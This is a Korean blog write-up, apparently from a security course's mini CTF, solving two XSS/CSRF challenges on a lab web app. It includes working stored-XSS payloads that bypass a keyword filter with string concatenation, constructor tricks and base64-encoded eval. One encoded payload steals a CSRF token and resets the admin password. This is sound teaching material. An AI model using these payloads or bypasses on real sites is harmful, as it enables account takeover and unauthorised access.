security/화이트햇

Mini CTF - XSS, DOM Clobbering

민사민서 2024. 1. 7. 16:07

[CSRF1]

- 공격벡터

view.html | safe 로 인해 스크립트 실행 취약점 발생

xss 필터가 걸려있었지만 script 태그, [], () 맘대로 쓸 수 있음 함수들 맘껏 사용 가능

internal network에서 /changepw 엔드포인트에 admin pw 변경해달라고 GET 요청 보내면 됨

 

- exploit 과정

script ` 는 안막혀있다 => on만 잘 우회해서 스크립트 요청 보내면 됨

<script>document[`locatio`+`n`].href=`http://arang_client:9004/changepw?userid=admin&userpw=1234`</script>

이 내용을 content에 담아 게시물 올려놓고(Stored XSS), 봇으로 하여금 이 게시물 읽게 하면 됨

admin pw 변경 후 admin 계정으로 로그인해서 0번 게시물 읽으면 된다

 

[CSRF2]

- 공격벡터

view.html | safe 로 인해 스크립트 실행 취약점 발생

xss 필터는 CSRF1 이랑 동일하게 걸려있음, script / () / [] 사용 가능하다!!

/changepw 엔드포인트에서 internal network인지, 올바른 CSRF token을 제시했는지 검사함

 

CSRF Token/changepw 엔드포인트에 처음 접속했을 때 발급되며, changepw.html hidden 타입 input의 값으로 들어있음 => js 코드 사용해서 leak 가능함

 

atob( base64 인코딩된 코드 ) 를 이용해 필터링 안걸리게 코드 실행시킬 수 있음. how?

 

1. [].constuctor.constructor 사용 // nodejs 특강 시간에 가르쳐주신

(https://stackoverflow.com/questions/38151868/obfuscated-javascript-in-an-exploit-kit-using-arrays-constructor)

=> [][`co`+`nstructor`][`co`+`nstructor`](atob(`Y29uc29sZS5sb2coMSk=`))(); 하니까 잘 됨

 

2. eval 사용

=> window[`ev`+`al`](atob(`Y29uc29sZS5sb2coMSk=`)); 하니까 console.log(1) 잘 실행됨

 

- exploit 과정

/changepw에 접속해 csrf token을 빼오고, 빼온 csrf token을 바탕으로 /changepw에 다시 admin 비밀번호 변경 GET 요청을 보내는 js 코드를 작성했다

btoa() 함수 이용해 해당 코드를 base64 인코딩하고 이걸 앞에서 구한 공격벡터에 넣으면 된다

<script>window[`ev`+`al`](atob(`KGFzeW5jICgpID0+IHtsZXQgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaCgnaHR0cDovL2FyYW5nX2NsaWVudDo5MDA1L2NoYW5nZXB3Jyk7IGxldCB0ZXh0ID0gYXdhaXQgcmVzcG9uc2UudGV4dCgpOyBsZXQgdmFsdWUgPSBuZXcgRE9NUGFyc2VyKCkucGFyc2VGcm9tU3RyaW5nKHRleHQsICd0ZXh0L2h0bWwnKS5xdWVyeVNlbGVjdG9yKCdpbnB1dFtuYW1lPSJjc3JmX3Rva2VuIl0nKS52YWx1ZTsgYXdhaXQgZmV0Y2goJ2h0dHA6Ly9hcmFuZ19jbGllbnQ6OTAwNS9jaGFuZ2Vwdz91c2VyaWQ9YWRtaW4mdXNlcnB3PWhpdGhlcmUmY3NyZl90b2tlbj0nK3ZhbHVlKTsgfSkoKTs=`)); </script>

 

이 내용을 content에 담아 게시물 올려놓고(Stored XSS), 봇으로 하여금 이 게시물 읽게 하면 됨

admin pw 변경 후 admin 계정으로 로그인해서 0번 게시물 읽으면 된다

 

 

'security > 화이트햇' 카테고리의 다른 글

Mini CTF - LFI, Command Injection, SSTI  (0) 2024.01.09
Mini CTF - SQLI  (0) 2024.01.09
Mini CTF - XSS, DOM Clobbering  (0) 2024.01.07
IDA에서 사용자 정의 구조체 생성하기  (1) 2024.01.06
Windbg 커맨드 정리  (2) 2024.01.06